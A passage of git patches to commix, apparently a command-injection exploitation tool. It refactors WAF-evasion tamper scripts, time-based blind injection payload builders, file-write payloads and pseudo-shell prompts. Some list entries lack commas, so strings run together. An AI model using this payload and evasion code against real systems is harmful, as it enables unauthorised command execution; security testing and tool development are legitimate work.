+14,13 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Uses "timeout" function for time-based attacks. - * Regarding *nix targets, it replaces the "sleep XX" command with "timeout XX ping localhost". - * Regarding windows targets, it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". + * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ @@ -45,15 +46,14 @@ def sleep_to_timeout_ping(payload): if settings.TRANFROM_PAYLOAD == None: settings.TRANFROM_PAYLOAD = False warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping." + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: - payload = sleep_to_timeout_ping(payload) + return sleep_to_timeout_ping(payload) - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index ed81d9320b..d3a2fa98cb 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ @@ -47,22 +48,13 @@ def sleep_to_usleep(payload): settings.TRANFROM_PAYLOAD = False warn_msg = "All injection techniques, except for the time-relative ones, " warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = sleep_to_usleep(payload) - + return sleep_to_usleep(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index d2c972843e..922c79c4f5 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -14,13 +14,14 @@ """ import sys +from src.utils import menu from src.utils import settings """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "space2ifs" @@ -32,13 +33,7 @@ def tamper(payload): settings.WHITESPACES[0] = "${IFS}" else: settings.WHITESPACES.append("${IFS}") - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - return payload + return payload + # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 86cb38eecb..49c288677e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -31,5 +31,7 @@ def tamper(payload): settings.WHITESPACES[0] = "+" else: settings.WHITESPACES.append("+") - return payload + + return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 0c48259993..7e2bfca0f9 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -29,10 +29,7 @@ def tamper(payload): settings.WHITESPACES[0] = "%0b" else: settings.WHITESPACES.append("%0b") - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) + return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 72d9368094..84cb8c9f45 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -17,12 +17,12 @@ import sys import random import string - +from src.utils import menu from src.utils import settings """ About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -52,24 +52,10 @@ def add_uninitialized_variable(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_uninitialized_variable(payload) - + return add_uninitialized_variable(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index dfc27cc035..9e201716fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "66" +REVISION = "67" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -973,6 +973,34 @@ def sys_argv_errors(): "backticks":False } +UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "caret", + "space2vtab" +] + +WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "dollaratsigns", + "backticks", + "nested", + "singlequotes", + "slash2env", + "sleep2usleep", + "space2ifs", + "uninitializedvariable" +] + +EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "caret", + "dollaratsigns", + "doublequotes", + "nested", + "singlequotes", + "slash2env", + "uninitializedvariable" +] + # HTTP Errors BAD_REQUEST = "400" UNAUTHORIZED_ERROR = "401" From 916770a02124465d64108734478620cfb6012a74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 May 2022 08:52:11 +0300 Subject: [PATCH 0144/1023] Some more refactoring --- .../techniques/time_based/tb_enumeration.py | 11 ++++++-- .../techniques/time_based/tb_file_access.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 26 +++++++++--------- .../techniques/time_based/tb_injector.py | 2 +- .../techniques/time_based/tb_payloads.py | 27 ++++++++----------- src/core/injections/controller/checks.py | 25 ++++++++--------- src/core/injections/controller/controller.py | 19 +++++++------ .../injections/controller/shell_options.py | 2 +- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/classic/cb_handler.py | 21 ++++++--------- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/eval_based/eb_handler.py | 24 +++++++---------- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/file_based/fb_handler.py | 23 ++++++---------- .../tempfile_based/tfb_enumeration.py | 13 ++++++--- .../tempfile_based/tfb_file_access.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 25 +++++++++-------- .../dns_exfiltration/dns_exfiltration.py | 4 +-- .../icmp_exfiltration/icmp_exfiltration.py | 4 +-- src/core/modules/shellshock/shellshock.py | 16 +++++------ src/core/shells/bind_tcp.py | 6 ++--- src/core/shells/reverse_tcp.py | 6 ++--- src/core/tamper/space2htab.py | 10 ++++--- src/core/tamper/space2ifs.py | 16 ++++++----- src/core/tamper/space2plus.py | 8 +++--- src/core/tamper/space2vtab.py | 14 +++++++--- src/utils/session_handler.py | 5 ++-- src/utils/settings.py | 2 +- 28 files changed, 162 insertions(+), 157 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 25356a7de4..dbc3b54eee 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -536,6 +536,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) @@ -545,17 +546,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + if settings.ENUMERATION_DONE == True: + print(settings.SINGLE_WHITESPACE) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.hostname: if settings.ENUMERATION_DONE == True: print(settings.SINGLE_WHITESPACE) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.current_user: if settings.ENUMERATION_DONE == True: diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 0904864d9f..fbbdb14088 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -138,7 +138,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write + cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7abb43fe07..33c6a5b42f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -414,18 +414,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - new_line = False + new_line = True # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) break - elif enumerate_again in settings.CHOICE_NO: - new_line = True + elif enumerate_again in settings.CHOICE_NO: + new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() @@ -436,20 +437,20 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.enumeration_options(): tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True and new_line: + print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -467,16 +468,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Export injection result #tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not new_line : - print(settings.SINGLE_WHITESPACE) - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 328f15080b..2b2efb2734 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -378,7 +378,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) - return check_how_long, output + return check_how_long, output """ False Positive check and evaluation. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index aedfcc8710..5f3e803687 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -48,24 +48,21 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" ) elif separator == "%0a" : - #separator = "\n" payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" ) elif separator == "&&" : @@ -76,11 +73,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -203,7 +198,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "str=\"$(echo $(" + cmd + "))\"" + separator + #"str1=${%23str}" + separator + "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -216,7 +211,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -356,7 +351,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=$(printf %25d \"'$char'\")" + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -372,7 +367,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=$(printf %25d \"'$char'\")" + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -512,7 +507,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if separator == ";" : payload = (separator + "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -522,7 +517,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me #separator = "\n" payload = (separator + "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -534,7 +529,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me payload = (ampersand + "sleep 0 " + separator + "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq $str ] " + separator + "sleep " + str(timesec) ) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d955cb27e2..fe69c93f57 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -512,8 +512,8 @@ def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option," message += " do you want to procced with the (semi-blind) " - message += "file-based injection technique? [Y/n] > " - enable_fb = common.read_input(message, default="Y", check_batch=True) + message += "file-based injection technique? [y/N] > " + enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: @@ -1022,18 +1022,19 @@ def tamper_scripts(stored_tamper_scripts): elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." if len(warn_msg) != 0: print(settings.print_warning_msg(warn_msg)) - try: - module = __import__(import_script, fromlist=[None]) - if not hasattr(module, "__tamper__"): - err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ImportError as err_msg: - pass + else: + try: + module = __import__(import_script, fromlist=[None]) + if not hasattr(module, "__tamper__"): + err_msg = "Missing variable '__tamper__' " + err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + except ImportError as err_msg: + pass # Using too many tamper scripts is usually not a good idea. :P _ = False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9e3d1fb35c..b9a385812c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -131,7 +131,6 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - settings.EVAL_BASED_STATE = True try: try: @@ -699,16 +698,20 @@ def post_request(url, http_request_method, filename, timesec): Perform checks """ def perform_checks(url, http_request_method, filename): + # Initiate whitespaces + if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1: + settings.WHITESPACES = ["%20"] def basic_level_checks(): - if not settings.MULTI_TARGETS: - settings.PERFORM_BASIC_SCANS = False - else: + if settings.MULTI_TARGETS or not settings.IS_TTY: settings.PERFORM_BASIC_SCANS = True - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False + else: + settings.PERFORM_BASIC_SCANS = False + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_PHPINFO = False timesec = settings.TIMESEC # Check if authentication is needed. diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index cf5e41b9ca..da7f6ae346 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -165,7 +165,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." + warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg)) return go_back, go_back_again diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6b9cf1826e..7308d3a709 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8dd6a3e80a..5e7079e6fe 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -293,9 +293,11 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif enumerate_again in settings.CHOICE_NO: @@ -310,18 +312,15 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif file_access_again in settings.CHOICE_NO: @@ -339,10 +338,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False @@ -350,7 +345,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index b835b7724b..9b5fcb1e51 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2573314a1e..38e4e91ba0 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -179,7 +179,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - # Try target page reload (if it is required). + # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. @@ -304,11 +304,12 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -323,17 +324,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) + if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break elif file_access_again in settings.CHOICE_NO: @@ -352,17 +350,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index a78fc865cb..fc76104f45 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index fd9ab9305d..ff0d252b88 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -369,7 +369,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " + message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -521,11 +521,12 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - message = 